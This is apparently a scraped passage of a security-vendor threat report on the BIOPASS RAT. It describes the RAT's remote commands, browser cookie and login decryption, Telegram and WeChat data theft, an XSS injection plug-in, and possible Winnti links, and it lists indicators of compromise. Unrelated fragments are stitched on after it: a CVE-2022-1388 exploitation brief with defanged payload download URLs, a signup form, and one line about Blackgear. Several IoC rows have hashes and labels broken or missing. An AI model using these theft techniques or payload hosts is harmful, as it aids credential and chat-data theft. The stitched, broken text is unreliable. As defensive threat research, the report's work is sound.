After the malware joins the C&C server, the server will assign a victim ID with “set key” event and send multiple “accept task” events with the commands “ScreenShot”, “SnsInfo”, “PackingTelegram”, “GetBrowsersCookies”, “GetBrowsersLogins”, “GetBrowsersHistories”, and “GetBrowsersBookmarks” to instruct the malware to collect private data from the victim.


A closer look at the BIOPASS RAT commands


The BIOPASS RAT malware implements multiple commands, most of which are self-explanatory.


A summary of commands is listed in Table 2, while additional details of some commands are explained in the following section.


Command  Behavior  Compress_Files  Compresses specified files or directories to a ZIP archive  Decompress_File  Extracts files from a specified ZIP archive  AutoRun  Creates a scheduled task for persistence  CloseEverything  Kills the Everything process with the command “TASKKILL /F /IM Everything.exe”  OpenEverything  Downloads and runs Everything from voidtools  CloseFFmpegLive  Kills the FFmpeg process with the command “TASKKILL /F /IM ffmpeg.exe”  OpenFFmpegLive  Downloads and runs FFmpeg (for screen video capture)  DeleteFile  Deletes files or directories at specified locations  CreateDir  Creates a directory at a specified location  ShowFiles  Gets the disk partition or lists a specified directory with detailed information, including file name, file path, size, create time, and time of modification  Download_File  Downloads a URL and saves the file to a specified location  Upload_File  Uploads the victim’s files to cloud storage  uUninstall  Kills the BIOPASS RAT process and deletes installed files.  CloseObsLive  Kills the OBS process with command “TASKKILL /F /IM obs64.exe”  Open_Obs_Live  Downloads OBS Studio and starts live streaming  ProcessList  Lists processes on the victim’s environment and their process identifier (PID)  KillProcess  Kills the process specified by PID with the TASKKILL command  ScreenShot  Takes a screenshot and uploads it to cloud storage  Shell  Executes commands or scripts (subcommands with prefixes subprocess, python, noreturn, getversion, restart)  SnsInfo  Lists QQ, WeChat, and Aliwangwang directories  InstallTcpdump  Downloads and installs the tcpdump tool  PackingTelegram  Compresses and uploads Telegram's “tdata” directory to cloud storage  CloseProxy  Kills frpc process with command “TASKKILL /F /IM frpc.exe”  OpenProxy  Downloads and installs the frp proxy client in the “%PUBLIC%” folder  OpenVnc  Downloads and installs jsmpeg-vnc tool in the “%PUBLIC%/vnc/” folder  CloseVnc  Kills the VNC process with the command “TASKKILL /F /IM vdwm.exe”  GetBrowsersCookies  Decrypts the cookie file of the browser and uploads it to cloud storage  GetBrowsersLogins  Decrypts the login file of the browser and uploads it to cloud storage  GetBrowsersHistories  Uploads the history file of the browser to cloud storage  GetBrowsersBookmarks  Uploads the bookmark file of the browser to cloud storage   Table 2.

exclude


BIOPASS RAT commands   OpenEverything  The malware downloads “Everything” files if the “Everything” binary is not found in the “%TEMP%” folder.


It then changes the port number of the HTTP server inside the configuration file and starts the Everything process, which will open an HTTP server to allow the threat actor to access the file system of the victim.


OpenFFmpegLive  The malware downloads FFmpeg files if they are not found on the victim’s machine.


Next, it starts the FFmpeg process to monitor the victim’s desktop via RTMP live streaming to the cloud.


The malicious actor can then connect to the relevant RTMP address to watch the streaming.


The malware downloads OBS Studio files if the OBS folder and config file are not found in the root directory.


It writes the basic config and RTMP config of OBS and then starts the OBS process to monitor the victim’s desktop using RTMP live streaming to the cloud.


The malicious actor can connect to the relevant RTMP address to watch the streaming.


Figure 20.


The script used to download OBS Studio, prepare the configuration, and start the process     ScreenShot


The malware downloads the screenshot-cmd tool if it is not found in the root directory.


It takes a screenshot of the victim’s screen with the tool and saves it as a PNG file with a random number as the file name.


The malware will then upload the screenshot files to cloud storage.


Shell


The malware uses a number of methods to execute the shell command or script.


The “Shell” command instructs the malware to execute a command using the Python function “win32api.ShellExecute” and to return the result to a C&C server, applying a 60-second timeout for command execution.


If the command has one of the following prefixes, it will perform a specific behavior:


1.      “subprocess”: executes a system command using the Python function “subprocess.Popen”.


2.      “python”: executes a Python script delivered with the command.


3.      “noreturn”: executes a system command using the Python function “win32api.ShellExecute” without waiting for the result.


4.      “getversion”: returns the string “20200202”.


5.      “restart”: kills the process itself and restarts it via scheduled malicious tasks. SnsInfo


The command will list the installation directory of several popular instant messaging applications including WeChat, QQ, and Aliwangwang and return this information to the C&C server.


Figures 21 and 22 show the result of running “SnsInfo” command to enumerate messengers.


Figure 21.


Encoded SUBMIT RESULT command sent to C&C server      Figure 22. Decoded SUBMIT RESULT command sent to C&C server     None of the Chinese messenger applications has been installed on our testing machine, which explains the result seen in the images.


GetBrowsersCookies  This command is designed to steal cookie information from browsers.


It will read the “Local State” file to grab the AES secret key of Google Chrome-based browsers.


Depending on the different argument “type” delivered with the command, it performs different behaviors.


If the value of the “type” argument is “Chrome”, it will use the AES secret key or DPAPI (for Chrome versions before 80) to decrypt the cookie file.


The decrypted result will be sent to the C&C server.


Figure 23.


The script to decrypt Chrome’s file with AES or DPAPI decryption     If the value of the “type” argument is “File”


, it will directly upload the cookie file to cloud storage.


The command that we received showed that the targeted browsers include Google Chrome, Microsoft Edge Beta, 360 Chrome, QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser.


Figure 24.


Code showing the command to target Sogou Explorer     GetBrowsersLogins


This command has a nearly identical function to “GetBrowsersCookies”, although it targets a browser’s “Login Data” files instead.


Additional Findings on BIOPASS RAT


Although these are not implemented inside the BIOPASS RAT malware, we have observed two additional plug-ins that are written in Python (“getwechatdb” and “xss_spoof”) and were deployed by the threat actor to a victim who had been infected with Cobalt Strike.


The script “getwechatdb” is used for exfiltrating the chat history from the WeChat Windows client.


The script will detect the version of the installed WeChat client and grab the decryption key and the user ID.


The predefined list of offsets is used to locate where the decryption key and the user ID are embedded.


The list supports 36 different versions of memory offsets for the message client.


The script will then upload database files inside the WeChat folder including “MicroMsg.db” to cloud storage.


These database files are used for saving the chat history.


Finally, the script will print out the client ID and the decryption key that allows the malicious actors to decrypt the stolen database files of the chat history.


Figure 25.


A predefined list of memory offset intended to grab information from different versions of WeChat      Figure 26.


The script used to exfiltrate WeChat chat database files     The other plug-in, “xss_spoof”, is an archive that contains multiple Python scripts.


The scripts are designed for web server infection via a cross-site scripting (XSS) attack.


This plug-in can inject malicious scripts into the response of the victim’s web server by leveraging the WinDivert package, which is used to sniff and manipulate the network traffic on Windows.


The scripts intercept HTTP GET requests that are sent to port 80.


An “ignore” list is used to filter the file extensions of URLs to avoid manipulating resources that are not JavaScript or HTML.


The script then modifies the original JavaScript or HTML content and delivers it to website visitors.


Figure 27.


The JavaScript payload used to replace the original script of compromised websites     The delivered script is almost the same as the malicious script previously discussed in the section on the watering hole attack.


The script performs checks by scanning localhost to determine if the machine is infected by BIOPASS RAT while showing the fake updated webpages.


It is likely that the malicious actors compromised the web servers first and then ran “xss_spoof” for propagation.


Figure 28.


The main script used to manipulate traffic with WinDivert     Potential links with the Winnti group


We have found several connections between BIOPASS RAT and the Winnti Group:


1.      We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates.


However, these certificates are likely stolen from game studios from South Korea and Taiwan.


It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.


Certificate Thumbprint  Valid From  Valid To  EFB70718BC00393A01694F255A28E30E9D2142A4  12:00 a.m.,  Jan. 2, 2019  11:59 p.m., Mar. 2, 2021  8CE020AA874902C532B9911A4DCA8EFFA627DC80  12:00 a.m., Sept. 6, 2018  11:59 p.m., Oct. 5, 2021   Table 3.


Information from the stolen certificates   2.      While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.


Derusbi is known to be used by multiple advanced persistent threat (APT) groups.


The server-side variant has also been noted to be used as a malware loader by the Winnti Group.


3.      We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.


However, the URL is unused and was likely left inside the loader as a mistake.


This file has also been mentioned in a recent report that connects it to an attack on a major certification authority (CA) in Mongolia.


The Cobalt Strike loader, which has a PDB string “C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.


The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.


While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult.


BIOPASS RAT highlights the importance of downloading from trusted sources BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts.


It possesses many features, such as the ability to use scheduled tasks as a method of maintaining persistence in the infected system.


The malware abuses publicly available tools and cloud services for its malicious behavior.


Notably, a large number of features were implemented to target and steal the private data of popular web browsers and instant mes\sengers that are primarily used in Mainland China.


Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful  with regard to the applications that they download.


As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here.


Organizations can also help protect their end users by implementing security solutions that provide  a multilayered defense system that helps with detecting, scanning, and blocking malicious URLs.


Note that we’ve submitted an abuse report to Alibaba, but we have yet to receive feedback at the time of publication.


Indicators of Compromise (IoCs)      SHA256  Filename  Note  Analysis  84fbf74896d2a1b62d73b9a5d0be2f627d522fc811fe08044e5485492d2d4249  big.txt  BIOPASS RAT Python Script (Version 3)  TrojanSpy.Python.BIOPASS.A  f3c96145c9d6972df265e12accfcd1588cee8af1b67093011e31b44d0200871f  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan.Python.BIOPASS.A  0f8a87ca5f94949904804442c1a0651f99ba17ecf989f46a3b2fde8de455c4a4  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan.Python.BIOPASS.A  d8b1c4ad8f31c735c51cb24e9f767649f78ef5c571769fbaac9891c899c33444  c1222.txt  BIOPASS RAT Python Script (C1222 module)


Trojan.


Python.BIOPASS.A  ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466


c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan


.Python.BIOPASS.A  34be85754a84cc44e5bb752ee3a95e2832e7be1f611dd99e9a1233c812a6dad2  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan


.Python.BIOPASS.A  30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7  cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)  Trojan


.Python.BIOPASS.A  f21decb19da8d8c07066a78839ffd8af6721b1f4323f10a1df030325a1a5e159  cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)


Python.BIOPASS.A


cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)  Trojan


.Python.BIOPASS.A  e479823aa41d3f6416233dba8e765cf2abaa38ad18328859a20b88df7f1d88d5  sc2.txt  BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  e567fd0f08fdafc5a89c9084373f3308ef464918ff7e4ecd7fb3135d777e946d  sc3.txt


BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  0c8c11d0206c223798d83d8498bb21231bbeb30536a20ea29a5d9273bc63313d  s.txt  BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  2beabd8a9d9a485ab6d850f67ec25abbd66bf97b933ecc13cf0d63198e9ba26e  x.txt  Python script of Cobalt Strike shellcode loader  Trojan.Python.COBEACON.A  00977e254e744d4a242b552d055afe9d6429a5c3adb4ba169f302a53ba31795d  1-CS-443.lua  LUA script of Cobalt Strike shellcode loader  Trojan.Win32.COBEACON.BG dbb6c40cb1a49f4d1a5adc7f215e8e15f80b9f0b11db34c84e74a99e41671e06  Online.txt  BIOPASS RAT Python Script (local online server)  Trojan.Python.BIOPASS.A  943e8c9b0a0a37237ec429cb8a3ff3b39097949e6c57baf43918a34b0110dd8f  getwechatdb.txt  BIOPASS RAT Python Script (getwechatdb plugin script)  TrojanSpy.Python.BIOPASS.A  760fe7645134100301c69289a366bb92ab14927a7fbb9b405c1352989f16488c  wechat.txt  BIOPASS RAT Python Script (getwechatdb plugin script)  TrojanSpy.Python.BIOPASS.A  bdf7ebb2b38ea0c3dfb13da5d9cc56bf439d0519b29c3da61d2b2c0ab5bc6011  xss_spoof.zip  BIOPASS RAT Python Script (xss_spoof plugin package)  Trojan.Python.BIOPASS.A  e3183f52a388774545882c6148613c67a99086e5eb8d17a37158fc599ba8254b  x.js  XSS watering hole attack script  Trojan.JS.BIOPASS.A  d3956e237066a7c221cc4aaec27935d53f14db8ab4b1c018c84f6fccfd5d0058  script.txt  XSS attack JavaScript payload  Trojan.JS.BIOPASS.A  4e804bde376dc02daedf7674893470be633f8e2bda96fa64878bb1fcf3209f60  xss.txt  XSS attack HTML payload  Trojan.HTML.BIOPASS.A  05d1c273a4caeae787b2c3faf381b5480b27d836cd6e41266f3eb505dcee6186  flash.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  09530096643b835cff71a1e48020866fd0d4d0f643fe07f96acdcd06ce11dfa4  test-ticker.exe  BIOPASS RAT Loader  Backdoor.


Silverlight_ins.exe  BIOPASS RAT Loader


Backdoor.Win64.BIOPASS.A  0f18694b400e14eb995003541f16f75a5afc2478cc415a6295d171ba93565a82  flash_installer.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  11b785e77cbfa2d3849575cdfabd85d41bae3f2e0d33a77e7e2c46a45732d6e4  System.exe


BIOPASS RAT Loader  Backdoor.


test3.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  281c938448e32eb12fe8c5439ef06cea848668cf57fed5ad64b9a8d1e07de561


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  2b580af1cdc4655ae75ef503aba7600e05cdd68b056a9354a2184b7fbb24db6f  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446  flash-64.exe


BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d  flash.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  32a3934d96a8f2dae805fa28355cd0155c22ffad4545f9cd9c1ba1e9545b39ac


test.exe  BIOPASS RAT Loader  Backdoor.


test3.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  344cdbc2a7e0908cb6638bc7b81b6b697b32755bad3bed09c511866eff3876c7


test4.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  3589e53c59d9807cca709387bbcaaffc7e24e15d9a78425b717fc55c779b928e


flash.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  36e3fcd6a4c7c9db985be77ea6394b2ed019332fdae4739df2f96a541ea52617  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3e8f8b8a5f70c195a2e4d4fc7f80523809f6dbf9ead061ce8ef04fb489a577cf  test-flash.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  5d7aa3474e734913ecb4b820c0c546c92f7684081c519eecd3990e11a19bf2ba  flash_installer.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  5fd2da648068f75a4a66b08d6d93793f735be62ae88085a79d839b6a0d6d859a  flash1.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  660cef8210f823acb0b31d78fbce1d6f3f8c4f43231286f7ac69f75b2c42c020  flashplayerpp_install_cn.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  69d930050b2445937ec6a4f9887296928bf663f7a71132676be3f112e80fe275  test.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6a0976e5f9d07ff3d80fa2958976183758ba5fcdd4645e391614a347b4b8e64b  f0b96efe2f714e7bddf76cc90a8b8c88_se.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e  news.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  75e03f40a088903579a436c0d8e8bc3d0d71cf2942ad793cc948f36866a2e1ad  silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e  flash_installer.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  8445c0189735766edf0e3d01b91f6f98563fef272ac5c92d3701a1174ad072dd  Silverlight_ins.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54  MTYwOTI1MzEzNQ==.exe  BIOPASS RAT Loader  Backdoor.


8b5d4840bbdce0798950cd5584e3d4564581a7698bc6cfb2892c97b826129cec  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  98a91356e0094c96d81bd27af407dd48c3c91aaf97da6794aeb303597a773749  Silverlight1.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9eed9a2e0edf38f6354f4e57b3a6b9bed5b19263f54bcee19e66fc8af0c29e4e  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9f34d28562e7e1e3721bbf679c58aa8f5898995ed999a641f26de120f3a42cf4  Silverlight1.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9ff906ffcde32e4c6fb3ea4652e6d6326713a7fde8bb783b52f12a1f382f8798  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  a7c4dac7176e291bd2aba860e1aa301fb5f7d880794f493f2dea0982e2b7eb31  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b48e01ff816f12125f9f4cfc9180d534c7c57ef4ee50c0ebbe445e88d4ade939  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b82bde3fe5ee900a76ac27b4869ed9aa0802c63bbd72b3bfb0f1abce6340cc6c  Silverlight_ins.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b9d0838be8952ebd4218c8f548ce94901f789ec1e32f5eaf46733f0c94c77999  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  ba44c22a3224c3a201202b69d86df2a78f0cd1d4ac1119eb29cae33f09027a9a  Silverlight2.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  bf4f50979b7b29f2b6d192630b8d7b76adb9cb65157a1c70924a47bf519c4edd  test.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c11906210465045a54a5de1053ce0624308a8c7b342bb707a24e534ca662dc89  test-flash.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  c3fa69e15a63b151f8d1dc3018284e153ad2eb672d54555eaeaac79396b64e3b  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5  flashplayerpp_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c8542bffc7a2074b8d84c4de5f18e3c8ced30b1f6edc13047ce99794b388285c  flash2.exe  BIOPASS RAT Loader  Backdoor.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  d18d84d32a340d20ab07a36f9e4b959495ecd88d7b0e9799399fcc4e959f536b  flash_installer.exe


flash.exe  BIOPASS RAT Loader


Backdoor.Win64.BIOPASS.A  e52ea54cfe3afd93a53e368245c5630425e326291bf1b2599b75dbf8e75b7aeb  flashplayer_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  f1ad25b594a855a3c9af75c5da74b44d900f6fbb655033f9a98a956292011c8e  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  fa1d70b6b5b1a5e478c7d9d840aae0cc23d80476d9eea884a73d1b7e3926a209  64.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  fa7fbca583b22d92ae6d832d90ee637cc6ac840203cd059c6582298beb955aee  test.exe  BIOPASS RAT Loader  Backdoor.


test4.exe  BIOPASS RAT Loader


Backdoor.


flash_installer.exe  BIOPASS RAT Loader  Backdoor.


aos.exe  BIOPASS RAT binary (PyInstaller)  Trojan.Win32.BIOPASS.A  afbfe16cbdd574d64c24ad97810b04db509505522e5bb7b9ca3b497efc731045  socketio.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  0b9f605926df4ff190ddc6c11e0f5839bffe431a3ddfd90acde1fcd2f91dada3  socketio.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  6fc307063c376b8be2d3a9545959e068884d9cf7f819b176adf676fc4addef7d  flash_ins_bak.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  7249ad971283e164b0489110c23f4e40c64ee49b49bcc5cd0d32d9e701ec2114  files.zip  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  de17e583a4d112ce513efd4b7cb575d272dcceef229f81360ebdfa5a1e083f11  fn.exe  BIOPASS RAT binary (Nuitka)  Trojan


.Win32.BIOPASS.A  17e43d31585b4c3ac6bf724bd7263761af75a59335b285b045fce597b3825ed0


systemsetting.exe  BIOPASS RAT binary (PyInstaller)  Trojan.Win32.BIOPASS.A  b3bd28951789ef7cfaf659e07e198b45b04a2f3cde268e6ede4d4f877959341e  systemsetting.exe  BIOPASS RAT binary (PyInstaller)  Trojan.Win32.BIOPASS.A  e0caebfbd2804fcde30e75f2c6d06e84b3bf89ed85db34d6f628b25dca7a9a0f             YIZHI_SIGNED.exe  BIOPASS RAT binary (PyInstaller)  Trojan.Win32.BIOPASS.A  2503549352527cb0ffa1811a44481f6980961d98f9d5a96d5926d5676c31b9ee  socketio.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  8ba72a391fb653b2cc1e5caa6f927efdf46568638bb4fc25e6f01dc36a96533b  flashplayerpp_install_cn.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783  beep.sys  Derusbi  Trojan.Win64.DERUSBI.C  a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97  Browser_plugin (8).exe  Cobalt Strike Loader  Trojan.Win64.COBEACON.SUX        IP/Domain/URL  Note  webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong[.]aliyuncs[.]com  Cloud storage bucket used to host BIOPASS RAT loaders  softres[.]oss-accelerate[.]aliyuncs[.]com  Cloud storage bucket used to host BIOPASS RAT loaders  flashdownloadserver[.]oss-cn-hongkong[.]aliyuncs[.]com  Cloud storage bucket used to host BIOPASS RAT modules and stolen data  lualibs[.]oss-cn-hongkong[.]aliyuncs[.]com  Cloud storage bucket used to host Cobalt Strike loader scripts  bps-rhk[.]oss-cn-hongkong[.]aliyuncs[.]com  Cloud storage bucket used for RTMP live streaming  wxdget[.]oss-cn-hongkong[.]aliyuncs[.]com  Cloud storage bucket used for storing stolen WeChat data  chinanode[.]microsoft-update-service[.]com:38080  BIOPASS RAT C&C server  0x3s[.]com  XSS attack domain  update[.]flash-installer[.]com  Associated fake installer domain  update[.]flash-installers[.]com  Associated fake installer domain  flash[.]com[.]cm  Associated fake installer domain  flash[.]com[.]se  Associated fake installer domain  flashi[.]com[.]cn  Associated fake installer domain  flash[.]co[.]cm  Associated fake installer domain  47[.]57[.]142[.]30  Cobalt Strike C&C server  47[.]57[.]186[.]151  Cobalt Strike C&C server  103[.]158[.]190[.]58  Cobalt Strike C&C server  207[.]148[.]100[.]49  Cobalt Strike C&C server  microsoft[.]update[.]flash[.]com.se  Cobalt Strike C&C server  hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0[.]oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe  BIOPASS RAT loader download URL  hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/flash_ins[.]exe  BIOPASS RAT loader download URL  hxxp://softres.oss-accelerate[.]aliyuncs[.]com/Silverlight[.]exe  BIOPASS RAT loader download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/big.txt  BIOPASS RAT script download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/Online.txt  BIOPASS RAT script download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/files.zip  Python runtime package download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/ServiceHub.zip  Python runtime package download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/c1222.txt  c1222 module script download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/cdaemon.txt  cdaemon module download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/x.txt  Cobalt Strike Python loader download URL  hxxp://lualibs.oss-cn-hongkong[.]aliyuncs.com/x86/1-CS-443.lua  Cobalt Strike Lua loader download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/s.txt  Cobalt Strike shellcode download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/sc2.txt  Cobalt Strike shellcode download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/sc3.txt  Cobalt Strike shellcode download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/getwechatdb.txt  getwechatdb plug-in download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/wechat.txt  getwechatdb plug-in download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/xss_spoof.zip  xss_spoof plug-in download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/xss.txt  XSS payload download URL  hxxp://flashdownloadserver[.]oss-cn-hongkong.aliyuncs[.]com/res/csplugins/script.txt  XSS payload download URL  hxxp://0x3s[.]com/x[.]js  XSS injection URL         Tags  Malware | Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports


This post is also available in:      日本語 (Japanese)  On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388.


Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems.


This is a critical vulnerability that needs immediate attention, as it was given a 9.8 CVSS score.


Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.  Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.


Unit 42 recommends customers upgrade to the latest release of F5 BIG-IP products.


Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570.


Vulnerable Systems Mitigation Actions Observed in the Wild Conclusion Additional Resources Indicators of Compromise  The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:  The vulnerability exists within the iControl REST framework used by BIG-IP.


We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:


Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.  In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.


We observed this signature triggered 2,552 times between 4:47 and 14:00 UTC on May 10.


We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts.


Table 1 shows the commands that would be executed in the event of successful exploitation.


These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.


Table 1. Commands observed in CVE-2022-1388 exploitation attempts.


Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.


K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388 EnemyBot Attempts to Exploit CVE-2022-1388  30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c  20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159  hxxps://transfer[.]sh/dlxo3I/1.sh hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda  Updated May 16, 2022  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.


